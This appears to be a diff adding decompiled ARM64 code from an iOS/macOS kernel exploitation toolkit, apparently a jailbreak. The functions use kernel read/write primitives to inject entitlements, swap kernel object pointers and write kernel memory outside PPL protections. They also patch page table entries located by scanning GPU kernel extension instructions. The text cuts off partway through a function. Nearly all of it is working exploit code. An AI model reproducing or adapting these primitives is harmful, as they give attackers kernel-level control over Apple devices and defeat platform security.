+ if ( (_DWORD)result ) + { + if ( (v11 & a5) == 0 ) + { + result = krw_inject_entitlements_maybe((struct_krwCtx *)a1, a2, a3); + if ( (_DWORD)result ) + { + v11 |= a5; + return kwritebuf_last_1(a1, v10, (__int64)&v11, 4); + } + } + } + } + } + return result; +} + +//----- (00000000000155A0) ---------------------------------------------------- +__int64 __fastcall sub_155A0(__int64 a1) +{ + __int64 v2; // x21 + unsigned int v3; // w1 + CFMutableDictionaryRef *v4; // x25 + __int64 result; // x0 + io_service_t v6; // w20 + __int64 v7; // x22 + int v8; // w0 + kern_return_t v9; // w23 + int v10; // w24 + int v11; // w0 + unsigned __int64 v12; // x0 + unsigned __int64 v13; // x23 + io_object_t v14; // w22 + mach_vm_address_t v15; // x23 + __int64 v16; // x2 + kern_return_t v17; // w24 + io_iterator_t iterator[2]; // [xsp+8h] [xbp-68h] BYREF + CFMutableDictionaryRef properties; // [xsp+10h] [xbp-60h] BYREF + __int64 v20; // [xsp+18h] [xbp-58h] BYREF + __int64 v21; // [xsp+20h] [xbp-50h] BYREF + io_connect_t connect; // [xsp+2Ch] [xbp-44h] BYREF + + v2 = *(_QWORD *)a1; + v3 = *(_DWORD *)(a1 + 8); + v4 = *(CFMutableDictionaryRef **)(a1 + 16); + connect = 0; + v20 = 0; + v21 = 0; + properties = 0; + result = sub_34D14(v2, v3); + if ( !(_DWORD)result ) + goto LABEL_14; + result = validate_addr(v2, *(_QWORD *)(v2 + 912)); + if ( !result ) + goto LABEL_14; + if ( *(int *)(v2 + 320) < 7195 ) + { + result = (__int64)sub_24D64("AppleM2ScalerCSCDriver"); + v6 = result; + } + else + { + v6 = (unsigned int)sub_24D64("AppleKeyStore"); + result = krw_ctx_has_flag((struct_krwCtx *)v2, 4); + if ( !(_DWORD)result ) + { + v7 = *(_QWORD *)(v2 + 936); + goto LABEL_8; + } + } + v7 = 0; +LABEL_8: + if ( v6 + 1 < 2 ) + { +LABEL_14: + v10 = 0; + goto LABEL_15; + } + if ( v7 ) + { + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 892), 0); + if ( !v8 ) + { +LABEL_19: + v10 = 0; + goto LABEL_20; + } + v9 = IOServiceOpen(v6, mach_task_self_, 0, &connect); + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 892), v7); + v10 = 0; + if ( !v11 || v9 ) + goto LABEL_20; +LABEL_17: + iterator[0] = 0; + v12 = port_name_to_kaddr((struct_krwCtx *)v2, connect); + if ( !v12 ) + goto LABEL_19; + v13 = v12; + if ( IORegistryEntryGetChildIterator(v6, "IOService", iterator) ) + goto LABEL_19; + while ( 1 ) + { + v14 = IOIteratorNext(iterator[0]); + if ( !v14 ) + break; + if ( v13 == port_name_to_kaddr((struct_krwCtx *)v2, v14) ) + goto LABEL_27; + IOObjectRelease(v14); + } + v13 = 0; +LABEL_27: + IOObjectRelease(iterator[0]); + v10 = 0; + if ( !v14 || !v13 ) + { +LABEL_43: + if ( v14 + 1 >= 2 ) + IOObjectRelease(v14); + goto LABEL_20; + } + v15 = v13 + 32; + if ( kread64_outptr((struct_krwCtx *)v2, v15, (unsigned __int64 *)&v21) ) + { + v16 = *(_QWORD *)(v2 + 912); + if ( *(_QWORD *)(v2 + 344) < 0x1F530000000000uLL ) + { + v20 = *(_QWORD *)(v2 + 912); +LABEL_35: + if ( kwrite64(v2, v15, v16) ) + { + v17 = IORegistryEntryCreateCFProperties(v14, &properties, kCFAllocatorDefault, 0); + if ( !kwrite64(v2, v15, v21) || v17 ) + { + if ( properties ) + CFRelease(properties); + } + else if ( properties ) + { + *v4 = properties; + v10 = 1; + goto LABEL_43; + } + } + goto LABEL_42; + } + if ( kread64_outptr((struct_krwCtx *)v2, v16 + 136, (unsigned __int64 *)&v20) && validate_addr(v2, v20) ) + { + v16 = v20; + goto LABEL_35; + } + } +LABEL_42: + v10 = 0; + goto LABEL_43; + } + v10 = 0; + if ( !IOServiceOpen(v6, mach_task_self_, 0, &connect) ) + goto LABEL_17; +LABEL_20: + if ( connect + 1 >= 2 ) + { + *(_QWORD *)iterator = 1; + IOServiceClose(connect); + IOServiceWaitQuiet(v6, (mach_timespec_t *)iterator); + } + result = IOObjectRelease(v6); +LABEL_15: + *(_DWORD *)(a1 + 24) = v10; + return result; +} +// 15664: variable 'v8' is possibly undefined +// 1569C: variable 'v11' is possibly undefined + +//----- (0000000000015880) ---------------------------------------------------- +__int64 __fastcall sub_15880(__int64 a1) +{ + __int64 v2; // x21 + task_inspect_t v3; // w25 + const void *v4; // x20 + host_t v5; // w0 + kern_return_t v6; // w0 + int v7; // w23 + unsigned int v8; // w22 + vm_address_t v9; // x1 + unsigned __int64 v10; // x20 + mach_port_t v11; // w8 + thread_act_t v12; // w0 + kern_return_t v13; // w0 + unsigned int v14; // w8 + const __CFData *v16; // x0 + const __CFData *v17; // x20 + const UInt8 *BytePtr; // x22 + unsigned int Length; // w0 + unsigned int v20; // w24 + bool v21; // zf + unsigned __int64 v22; // x0 + int v23; // w26 + int v24; // w8 + thread_act_t v27; // w0 + mach_port_t v28; // w0 + kern_return_t v29; // w0 + unsigned __int64 v30; // x23 + mach_port_t v31; // w8 + thread_act_t v32; // w0 + int v33; // w0 + int v34; // w0 + unsigned __int64 v35; // x0 + __int64 v36; // x8 + int v37; // w0 + unsigned __int64 v38; // [xsp+0h] [xbp-70h] BYREF + task_suspension_token_t suspend_token[2]; // [xsp+8h] [xbp-68h] BYREF + vm_address_t address; // [xsp+10h] [xbp-60h] BYREF + io_master_t io_master[2]; // [xsp+18h] [xbp-58h] BYREF + + v2 = **(_QWORD **)a1; + v3 = *(_DWORD *)(*(_QWORD *)a1 + 8LL); + v4 = *(const void **)(*(_QWORD *)a1 + 16LL); + address = 0; + *(_QWORD *)io_master = 0; + *(_QWORD *)suspend_token = 0; + v5 = mach_host_self(); + v6 = host_get_io_master(v5, &io_master[1]); + if ( !v6 ) + { + v6 = mach_port_allocate(mach_task_self_, 1u, io_master); + if ( !v6 ) + { + v7 = 708617; + v16 = IOCFSerialize(v4, 1u); + if ( !v16 ) + goto LABEL_4; + v17 = v16; + BytePtr = CFDataGetBytePtr(v16); + Length = CFDataGetLength(v17); + v20 = Length; + if ( BytePtr ) + v21 = Length == 0; + else + v21 = 1; + if ( v21 ) + goto LABEL_56; + if ( !*(_QWORD *)(v2 + 6568) ) + { + v22 = sub_403E0(v2, "iokit.OSDictionary"); + if ( !v22 ) + { + v7 = 708625; + goto LABEL_56; + } + *(_QWORD *)(v2 + 6568) = v22; + } + v23 = 163855; + v24 = *(_DWORD *)(v2 + 320); + if ( (unsigned int)(v24 - 8019) >= 2 && v24 != 7195 && v24 != 6153 ) + { + v7 = 163857; + goto LABEL_56; + } + v27 = mach_thread_self(); + if ( !sub_2515C(v27) ) + { + v7 = 163896; + goto LABEL_56; + } + v28 = mach_thread_self(); + v7 = sub_37A50((struct_krwCtx *)v2, v28, 1, 1, 96); + if ( v7 ) + { +LABEL_56: + v8 = 0; +LABEL_57: + CFRelease(v17); + goto LABEL_5; + } + thread_switch(0, 2, 0xAu); + if ( mach_task_self_ == v3 ) + { + v29 = task_threads(v3, (thread_act_array_t *)&address, &suspend_token[1]); + if ( !v29 ) + { + if ( suspend_token[1] ) + { + v30 = 0; + do + { + if ( (unsigned int)(*(_DWORD *)(address + 4 * v30) + 1) >= 2 ) + { + v31 = mach_thread_self(); + v32 = *(_DWORD *)(address + 4 * v30); + if ( v31 != v32 ) + thread_suspend(v32); + } + ++v30; + } + while ( v30 < suspend_token[1] ); + } +LABEL_58: + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 888), 0); + if ( v33 ) + { + v34 = sub_4087C( + (struct_krwCtx *)v2, + *(_QWORD *)(v2 + 6568), + 0x28u, + *(_QWORD *)(v2 + 912), + (__int64 (__fastcall *)(__int64, __int64))sub_15CA4, + 0); + if ( v34 ) + { + v8 = 0; + v23 = v34; +LABEL_63: + v7 = v23; + goto LABEL_57; + } + v8 = sub_24DA8(io_master[1], (__int64)"IOServicePublish", (__int64)BytePtr, v20, io_master[0], 0, 0); + if ( v8 ) + { + v35 = port_name_to_kaddr((struct_krwCtx *)v2, v8); + v38 = v35; + if ( v35 ) + { + if ( kread64_outptr((struct_krwCtx *)v2, v35 + 16, &v38) + && kread64_outptr((struct_krwCtx *)v2, v38 + 24, &v38) ) + { + v36 = *(_QWORD *)(v2 + 912); + if ( v36 == v38 ) + { + if ( noppl_kwrite32(v2, v36 + *(int *)(v2 + 360), 255) ) + { + sub_35AE0((struct_krwCtx *)v2, *(_DWORD *)(v2 + 888), *(_QWORD *)(v2 + 928)); + if ( v37 ) + v23 = 0; + else + v23 = 163856; + } + else + { + v23 = 163856; + } + } + else + { + v23 = 163900; + } + } + } + else + { + v23 = 163854; + } + goto LABEL_63; + } + } + else + { + v8 = 0; + } + v23 = 4097; + goto LABEL_63; + } + } + else + { + v29 = task_suspend2(v3, suspend_token); + if ( !v29 ) + goto LABEL_58; + } + v7 = v29 | 0x80000000; + goto LABEL_56; + } + } + v7 = v6 | 0x80000000; +LABEL_4: + v8 = 0; +LABEL_5: + if ( suspend_token[1] ) + { + v9 = address; + if ( address ) + { + v10 = 0; + do + { + if ( (unsigned int)(*(_DWORD *)(v9 + 4 * v10) + 1) >= 2 ) + { + v11 = mach_thread_self(); + v12 = *(_DWORD *)(address + 4 * v10); + if ( v11 != v12 ) + thread_resume(v12); + } + ++v10; + v9 = address; + } + while ( v10 < suspend_token[1] ); + vm_deallocate(mach_task_self_, address, 4LL * suspend_token[1]); + } + } + if ( suspend_token[0] + 1 >= 2 ) + { + v13 = task_resume2(suspend_token[0]); + v14 = v13 | 0x80000000; + if ( v7 ) + v14 = v7; + if ( v13 ) + v7 = v14; + } + if ( io_master[1] + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, io_master[1]); + if ( v8 + 1 >= 2 ) + mach_port_deallocate(mach_task_self_, v8); + if ( io_master[0] + 1 >= 2 ) + mach_port_mod_refs(mach_task_self_, io_master[0], 1u, -1); + *(_DWORD *)(a1 + 8) = v7; + return 0; +} +// 15B94: variable 'v33' is possibly undefined +// 15C84: variable 'v37' is possibly undefined + +//----- (0000000000015CA4) ---------------------------------------------------- +__int64 sub_15CA4() +{ + sub_24D64("xyz"); + return 0; +} + +//----- (0000000000015CC8) ---------------------------------------------------- +void __fastcall sub_15CC8(__int64 a1) +{ + void *v1; // x19 + __int64 vars8; // [xsp+18h] [xbp+8h] + + v1 = *(void **)(a1 + 7512); + if ( v1 ) + { + *(_QWORD *)(a1 + 7512) = 0; + bzero(v1, 0x520u); + if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 ) + __break(0xC471u); + free(v1); + } +} +// 15D00: variable 'vars8' is possibly undefined + +//----- (0000000000015D1C) ---------------------------------------------------- +__int64 __fastcall sub_15D1C(__int64 a1, __int64 a2, int a3) +{ + __int64 v5; // x22 + __int64 v6; // x21 + __int64 v7; // x23 + int v8; // w0 + __int64 v9; // x25 + __int64 v10; // x8 + __int64 v11; // x21 + __int64 v12; // x22 + int v13; // w8 + int v14; // w26 + int v16; // [xsp+Ch] [xbp-74h] BYREF + _BYTE v17[4]; // [xsp+10h] [xbp-70h] BYREF + int v18; // [xsp+14h] [xbp-6Ch] BYREF + _QWORD v19[4]; // [xsp+18h] [xbp-68h] BYREF + __int64 v20; // [xsp+38h] [xbp-48h] + + v18 = a3; + v5 = *(_QWORD *)(a1 + 7512); + v6 = *(_QWORD *)(a1 + 392); + if ( !(unsigned int)sub_251A4(a1, 8u, 0x3A98u) ) + { + if ( !v5 ) + { + v7 = sub_15EC4(a1); + if ( (_DWORD)v7 ) + goto LABEL_19; + v5 = *(_QWORD *)(a1 + 7512); + } + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, a2, 4, v17) ) + { + sub_2183C(a1, a2 & ~*(_QWORD *)(a1 + 392), (__int64)v19); + v7 = 0xFFFFFFFFLL; + if ( !v8 ) + goto LABEL_19; + v9 = v20 & 0xFFFFFFFFC000LL; + if ( (v20 & 0xFFFFFFFFC000LL) == 0 ) + goto LABEL_19; + v10 = v6 & a2; + v11 = *(_QWORD *)(v5 + 1296); + v12 = *(_QWORD *)(v5 + 1304) + v10; + v13 = 99; + while ( 1 ) + { + v14 = v13; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v11, 8, v19) ) + break; + v19[0] = v19[0] & 0xFFFF000000003FFFLL | v9; + v7 = 163856; + if ( !(unsigned int)kwritebuf_last_1(a1, v11, (__int64)v19, 8) ) + goto LABEL_19; + sub_2AABC(a1, 0x2710u); + if ( !(unsigned int)kwritebuf_last_1(a1, v12, (__int64)&v18, 4) ) + goto LABEL_19; + if ( !(unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, a2, 4, &v16) ) + break; + if ( v16 != v18 ) + { + v13 = v14 - 1; + if ( v14 ) + continue; + } + if ( v16 == v18 ) + v7 = 0; + else + v7 = 0xFFFFFFFFLL; + goto LABEL_19; + } + } + v7 = 163855; +LABEL_19: + sub_25164(a1, 8u); + return v7; + } + return 708642; +} +// 15DA8: variable 'v8' is possibly undefined + +//----- (0000000000015EC4) ---------------------------------------------------- +__int64 __fastcall sub_15EC4(__int64 a1) +{ + __int64 v1; // x23 + unsigned int *v3; // x0 + unsigned int *v4; // x20 + __int64 v5; // x8 + __int64 v6; // x1 + __int64 v7; // x26 + void *v8; // x0 + __int64 v9; // x21 + struct_a1 *v10; // x22 + __int128 v11; // q0 + __int128 v12; // q1 + __int64 v13; // x8 + int v14; // w9 + int v15; // w10 + char *v16; // x0 + char *v17; // x0 + char *v18; // x23 + __int64 v19; // x25 + int v21; // w24 + char *v22; // x0 + char *v23; // x23 + char *v24; // x0 + char *v25; // x23 + __int64 v26; // x25 + int v27; // w27 + __int64 v28; // x23 + unsigned __int64 v29; // x0 + __int64 v30; // x0 + __int64 v31; // x25 + __int64 v32; // x0 + __int64 v33; // x0 + __int64 v34; // x21 + int v35; // w27 + int v36; // w8 + unsigned __int64 v37; // x0 + unsigned __int64 v38; // x22 + _BOOL4 has_flag; // w0 + unsigned __int64 v40; // x1 + unsigned __int64 v41; // x22 + __int64 v42; // x21 + _BOOL4 v43; // w0 + __int64 v44; // x8 + __int64 v45; // x21 + unsigned __int64 v46; // x0 + __int64 v47; // x24 + __int64 *v48; // x8 + __int64 v49; // t1 + __int64 v50; // x9 + __int64 v51; // x10 + __int64 v52; // x22 + vm_size_t v53; // x21 + vm_size_t v54; // x25 + kern_return_t v55; // w0 + __int64 v56; // x23 + __int64 v57; // x27 + __int64 v58; // x0 + vm_size_t v59; // x2 + __int64 v60; // x8 + __int64 v61; // x22 + __int64 v62; // x10 + __int64 v63; // x11 + __int64 v64; // x1 + __int64 v65; // x10 + unsigned __int8 *v66; // x9 + unsigned __int8 *v67; // x10 + unsigned int v68; // t1 + unsigned int v69; // t1 + unsigned __int64 v70; // x0 + unsigned __int64 v71; // x0 + char *v72; // x0 + char *v73; // x0 + unsigned int v74; // w8 + unsigned __int64 v75; // x9 + __int64 v76; // x11 + char v77; // w9 + _QWORD *v78; // x8 + __int64 v79; // x9 + char *v80; // x21 + unsigned __int64 v81; // x22 + __int64 v82; // x9 + mach_port_t v83; // w21 + uint64_t v84; // x8 + mach_port_t v85; // w0 + mach_port_t v86; // w0 + int v87; // w0 + unsigned __int64 v88; // x21 + int v89; // w0 + unsigned __int64 v90; // x22 + __int64 v91; // x28 + __int64 v92; // x23 + char *v93; // x0 + int v94; // t1 + char *v95; // x0 + char *v96; // x23 + __int64 v97; // x25 + void *v98; // x0 + void *v99; // x25 + _BOOL4 v100; // w0 + unsigned __int64 v101; // x21 + unsigned __int64 v102; // x28 + unsigned __int64 v103; // x22 + unsigned __int64 v104; // x0 + size_t v105; // x23 + unsigned __int64 v106; // x8 + unsigned __int64 v107; // x21 + char *v108; // x0 + char *v109; // x0 + __int64 v110; // x0 + char *v111; // x0 + char *v112; // x0 + char *v113; // x23 + __int64 v114; // x24 + __int64 v115; // x9 + int v116; // w11 + __int64 v117; // x9 + unsigned __int64 v118; // x21 + _QWORD *v119; // x23 + char *v120; // x0 + __int64 v121; // x8 + __int64 v122; // x10 + char *v123; // x25 + char *v124; // x0 + unsigned int v125; // t1 + unsigned __int64 v126; // x11 + unsigned __int64 v127; // x12 + unsigned __int64 v128; // x9 + unsigned __int64 v129; // x22 + char *v130; // x0 + _QWORD *v131; // x10 + char *v132; // x9 + __int64 v133; // x8 + char *v134; // x10 + int v135; // t1 + unsigned __int64 v136; // x0 + char *v137; // x0 + char *v138; // x8 + char *v139; // x0 + unsigned __int64 v140; // x10 + __int64 v141; // x8 + __int64 v142; // x21 + __int64 v143; // x23 + __int64 v144; // x9 + char *v145; // x8 + __int64 v146; // x10 + unsigned int v147; // w12 + char *v148; // x0 + unsigned int v149; // t1 + unsigned __int64 v150; // x11 + unsigned __int64 v151; // x10 + char *v152; // x0 + __int64 v153; // x21 + char *v154; // x0 + char *v155; // x0 + char *v156; // x0 + char *v157; // x0 + char *v158; // x22 + unsigned __int64 *v159; // x25 + unsigned __int64 v160; // x9 + unsigned __int64 v161; // x9 + unsigned __int64 v162; // x1 + char *v163; // x8 + char *v164; // x0 + __int64 v165; // x8 + __int64 v166; // x21 + __int64 v167; // x22 + char *v168; // x0 + char *v169; // x0 + unsigned int v170; // t1 + unsigned __int64 v171; // x9 + unsigned __int64 v172; // x10 + unsigned __int64 v173; // x8 + __int64 v174; // x8 + _BOOL4 v175; // w0 + unsigned __int64 v176; // x8 + int32x2_t v177; // d0 + int64x2_t v178; // off + _QWORD *v179; // x28 + __int64 v180; // x0 + __int64 v181; // x21 + __int64 v182; // x25 + int v183; // w0 + vm_address_t v184; // x27 + __int64 v185; // x0 + __int64 v186; // x22 + int v187; // w0 + vm_address_t v188; // x23 + int v189; // w0 + int v190; // w0 + int v191; // w0 + int v192; // w0 + _BOOL4 v193; // w0 + unsigned __int64 v194; // x8 + __int64 v195; // x0 + __int64 v196; // x26 + int v197; // w0 + int v198; // w0 + uint64_t v199; // x9 + __int64 v200; // x8 + vm_address_t v201; // x9 + __int64 v202; // x27 + __int64 v203; // x26 + unsigned __int64 v204; // x21 + _QWORD *v205; // x28 + __int64 v206; // x1 + __int64 v207; // x25 + unsigned __int64 v208; // x0 + unsigned __int64 v209; // x0 + unsigned __int64 v210; // x22 + int v211; // w0 + __int64 v212; // x23 + int v213; // w0 + __int64 i; // x23 + __int64 v215; // x28 + __int64 v216; // x0 + __int64 v217; // x22 + __int64 v218; // x23 + int v219; // w0 + bool v220; // zf + __int64 v221; // x25 + __int64 v222; // x9 + __int64 v223; // x9 + __int64 v224; // x9 + unsigned __int64 v225; // x25 + unsigned __int64 v226; // x10 + vm_address_t v227; // x8 + int64x2_t v228; // q0 + __int64 v229; // x21 + __int64 *v230; // x22 + __int64 v231; // t1 + _BOOL4 v232; // w0 + __int64 v233; // x22 + _QWORD *v234; // x27 + __int64 v235; // x28 + __int64 v236; // x21 + __int64 v237; // x26 + int v238; // w25 + vm_address_t v239; // x11 + char *v240; // x12 + char *v241; // x23 + unsigned __int64 v242; // x8 + unsigned __int64 v243; // x9 + __int64 v244; // x10 + __int64 v245; // x13 + char *v246; // x12 + __int64 v247; // x12 + __int64 v248; // x12 + _QWORD *v249; // x11 + __int64 v250; // x11 + __int64 v251; // x25 + __int64 v252; // x9 + char *v253; // x10 + char *v254; // x23 + unsigned __int64 v255; // x21 + __int64 v256; // x8 + char *v257; // x10 + __int64 v258; // x10 + __int64 v259; // x10 + __int64 v260; // x10 + _QWORD *v261; // x9 + __int64 v262; // x9 + __int64 v263; // x9 + __int64 v264; // x9 + __int64 v265; // x9 + __int64 v266; // x26 + _QWORD *v267; // x9 + unsigned __int64 v268; // x21 + _QWORD *v269; // x12 + __int64 v270; // x10 + __int64 v271; // x10 + __int64 v272; // x10 + __int64 v273; // x10 + __int64 v274; // x10 + __int64 v275; // x10 + __int64 v276; // x10 + __int64 v277; // x10 + __int64 v278; // x10 + unsigned __int64 v279; // x21 + char v280; // w21 + __int64 v281; // x22 + __int64 v282; // x0 + __int64 v283; // x21 + int v284; // [xsp+20h] [xbp-6F0h] + vm_address_t v285; // [xsp+28h] [xbp-6E8h] + unsigned __int64 v286; // [xsp+30h] [xbp-6E0h] + vm_address_t v287; // [xsp+40h] [xbp-6D0h] + vm_address_t v288; // [xsp+48h] [xbp-6C8h] + __int64 v289; // [xsp+48h] [xbp-6C8h] + unsigned __int64 v290; // [xsp+50h] [xbp-6C0h] + __int64 v291; // [xsp+50h] [xbp-6C0h] + unsigned __int64 v292; // [xsp+50h] [xbp-6C0h] + int v293[2]; // [xsp+50h] [xbp-6C0h] + _QWORD *v294; // [xsp+50h] [xbp-6C0h] + int v295[2]; // [xsp+58h] [xbp-6B8h] + __int64 v296; // [xsp+58h] [xbp-6B8h] + int v297[2]; // [xsp+58h] [xbp-6B8h] + unsigned __int64 v298; // [xsp+58h] [xbp-6B8h] + int v299[2]; // [xsp+58h] [xbp-6B8h] + __int64 v300; // [xsp+60h] [xbp-6B0h] + __int64 v301; // [xsp+60h] [xbp-6B0h] + __int64 *v302; // [xsp+60h] [xbp-6B0h] + __int64 v303; // [xsp+60h] [xbp-6B0h] + unsigned __int64 v304; // [xsp+70h] [xbp-6A0h] BYREF + unsigned __int64 v305; // [xsp+78h] [xbp-698h] BYREF + unsigned __int64 v306; // [xsp+80h] [xbp-690h] BYREF + unsigned __int64 v307; // [xsp+88h] [xbp-688h] BYREF + unsigned __int64 v308; // [xsp+90h] [xbp-680h] BYREF + unsigned __int64 v309; // [xsp+98h] [xbp-678h] BYREF + unsigned __int64 v310; // [xsp+A0h] [xbp-670h] BYREF + unsigned __int64 v311; // [xsp+A8h] [xbp-668h] BYREF + size_t v312; // [xsp+B0h] [xbp-660h] BYREF + size_t v313; // [xsp+B8h] [xbp-658h] BYREF + vm_address_t target_address[3]; // [xsp+C0h] [xbp-650h] BYREF + size_t outputStructCnt; // [xsp+D8h] [xbp-638h] BYREF + _BYTE v316[24]; // [xsp+E0h] [xbp-630h] BYREF + __int64 v317; // [xsp+F8h] [xbp-618h] + _BYTE v318[12]; // [xsp+100h] [xbp-610h] BYREF + unsigned int v319; // [xsp+10Ch] [xbp-604h] + uint64_t size[2]; // [xsp+110h] [xbp-600h] BYREF + uint64_t input[2]; // [xsp+120h] [xbp-5F0h] BYREF + __int64 outputStruct; // [xsp+130h] [xbp-5E0h] BYREF + unsigned int v323; // [xsp+138h] [xbp-5D8h] + vm_address_t address[2]; // [xsp+140h] [xbp-5D0h] BYREF + _BYTE inputStruct[24]; // [xsp+150h] [xbp-5C0h] BYREF + __int128 v326; // [xsp+168h] [xbp-5A8h] + __int128 v327; // [xsp+178h] [xbp-598h] + __int128 v328; // [xsp+188h] [xbp-588h] + __int128 v329; // [xsp+198h] [xbp-578h] + __int128 v330; // [xsp+1A8h] [xbp-568h] + __int128 v331; // [xsp+1B8h] [xbp-558h] + __int128 v332; // [xsp+1C8h] [xbp-548h] + __int128 v333; // [xsp+1D8h] [xbp-538h] + __int128 v334; // [xsp+1E8h] [xbp-528h] + __int128 v335; // [xsp+1F8h] [xbp-518h] + __int128 v336; // [xsp+208h] [xbp-508h] + __int128 v337; // [xsp+218h] [xbp-4F8h] + __int128 v338; // [xsp+228h] [xbp-4E8h] + _BYTE v339[32]; // [xsp+238h] [xbp-4D8h] + __int64 v340; // [xsp+258h] [xbp-4B8h] + __int64 v341; // [xsp+260h] [xbp-4B0h] + vm_address_t src_address[36]; // [xsp+560h] [xbp-1B0h] BYREF + __int128 v343; // [xsp+680h] [xbp-90h] BYREF + _QWORD v344[2]; // [xsp+690h] [xbp-80h] + __int64 v345; // [xsp+6A0h] [xbp-70h] + + v1 = 708616; + if ( *(_QWORD *)(a1 + 344) < 0x225C23801AF00DuLL || !krw_ctx_has_flag((struct_krwCtx *)a1, 85475328) ) + return v1; + if ( *(_QWORD *)(a1 + 7512) ) + return 0; + v3 = (unsigned int *)calloc(1u, 0x520u); + if ( !v3 ) + return 708617; + v4 = v3; + *(_QWORD *)(a1 + 7512) = v3; + v5 = *(_QWORD *)(a1 + 280); + if ( v5 ) + { + if ( *(_QWORD *)(a1 + 288) ) + { + v6 = *(_QWORD *)(v5 + 352); + if ( v6 ) + { + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, v6, 552, v3 + 190) ) + return 0; + } + } + } + v7 = 163867; + target_address[0] = 0; + if ( !(unsigned int)get_kext_base_addr(a1, "com.apple.iokit.IOGPUFamily", address) + || !(unsigned int)sub_248A4(a1, "com.apple.AGXG", 0xEu, target_address) ) + { + goto LABEL_26; + } + v8 = calloc(1u, 0x128u); + if ( !v8 ) + { + v7 = 708617; + goto LABEL_26; + } + v9 = (__int64)v8; + v10 = (struct_a1 *)calloc(1u, 0x128u); + if ( v10 ) + { + sub_19DD4((struct_a1 *)v9, a1); + sub_19DD4(v10, a1); + v11 = *(_OWORD *)(a1 + 320); + v12 = *(_OWORD *)(a1 + 336); + *(_OWORD *)(v9 + 112) = v11; + *(_OWORD *)(v9 + 128) = v12; + v13 = *(_QWORD *)(a1 + 352); + *(_QWORD *)(v9 + 144) = v13; + v14 = *(_DWORD *)(a1 + 376); + *(_DWORD *)(v9 + 152) = v14; + v15 = *(_DWORD *)(a1 + 384); + *(_DWORD *)(v9 + 56) = v15; + v10->xnuMajorVersion = v11; + v10->oword80 = v12; + *(_QWORD *)&v10->oword90 = v13; + DWORD2(v10->oword90) = v14; + DWORD2(v10->oword30) = v15; + v1 = 163863; + if ( sub_1A0D4(v9, *(_DWORD *)(a1 + 6424), address[0], 0) + && sub_1A0D4((__int64)v10, *(_DWORD *)(a1 + 6424), target_address[0], 0) ) + { + v343 = xmmword_42FA0; + *(_OWORD *)v316 = xmmword_42FB0; + sub_19D10(v9, inputStruct); + v16 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 4u); + if ( v16 ) + { + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)(v16 + 8), 4, src_address) ) + { + v4[42] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + LODWORD(src_address[0]) = -218763232; + LODWORD(v343) = -32; + sub_19D10(v9, inputStruct); + v17 = sub_1E2BC((__int64 *)inputStruct, src_address, &v343, 1u); + if ( v17 ) + { + v18 = v17; + v19 = 0; + while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)&v18[v19], 4, v316) ) + { + if ( (*(_DWORD *)v316 & 0xFFC0001F) == 0xF900001F ) + { + v4[43] = ((*(_DWORD *)v316 >> 10) & 0xFFF) << (*(_DWORD *)v316 >> 30); + v343 = xmmword_42FC0; + LODWORD(v344[0]) = 872415232; + *(_OWORD *)v316 = xmmword_42FD0; + *(_DWORD *)&v316[16] = -16777216; + sub_19D10((__int64)v10, inputStruct); + v22 = sub_1E2BC((__int64 *)inputStruct, &v343, v316, 5u); + if ( v22 ) + { + v23 = v22; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)v22, 4, src_address) ) + { + v4[46] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)(v23 + 8), 4, src_address) ) + { + v4[44] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)(v23 + 12), 4, src_address) ) + { + v4[45] = ((LODWORD(src_address[0]) >> 10) & 0xFFF) << (LODWORD(src_address[0]) >> 30); + *(_OWORD *)inputStruct = xmmword_42FE0; + *(_QWORD *)&inputStruct[16] = 0x8B00000052800008LL; + v343 = xmmword_42FF0; + v344[0] = 0xFFE0FC00FFE0001FLL; + sub_19D10((__int64)v10, src_address); + v24 = sub_1E2BC((__int64 *)src_address, inputStruct, &v343, 6u); + if ( v24 ) + { + v25 = v24; + if ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)v24, 4, v316) ) + { + v26 = 0; + v27 = 0; + v4[49] = (unsigned __int16)(*(_DWORD *)v316 >> 5); + while ( (unsigned int)kreadbuf_last_1((struct_krwCtx *)a1, (__int64)&v25[v26 + 4], 4, v316) ) + { + if ( (*(_DWORD *)v316 & 0xFFE0001F) == 0x52800008 ) + { + if ( v27 == 1 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v25[v26 + 4], + 4, + v316) ) + { + v91 = 0; + v4[47] = (unsigned __int16)(*(_DWORD *)v316 >> 5); + while ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v25[v26 + 4 + v91], + 4, + v316) ) + { + if ( *(_DWORD *)v316 == -219794127 ) + { + if ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v25[v26 + 12 + v91], + 4, + v316) ) + { + v4[48] = ((*(_DWORD *)v316 >> 10) & 0xFFF) << (*(_DWORD *)v316 >> 30); + *(_OWORD *)inputStruct = xmmword_43000; + *(_QWORD *)&inputStruct[16] = 0; + LODWORD(v326) = 335544320; + *(_OWORD *)src_address = xmmword_43010; + src_address[2] = 0; + LODWORD(src_address[3]) = -67108864; + sub_19D10(v9, &v343); + v95 = sub_1E2BC((__int64 *)&v343, inputStruct, src_address, 7u); + if ( v95 ) + { + v96 = v95; + v97 = 0; + while ( (unsigned int)kreadbuf_last_1( + (struct_krwCtx *)a1, + (__int64)&v96[v97], + 4, + v316) ) + { + if ( 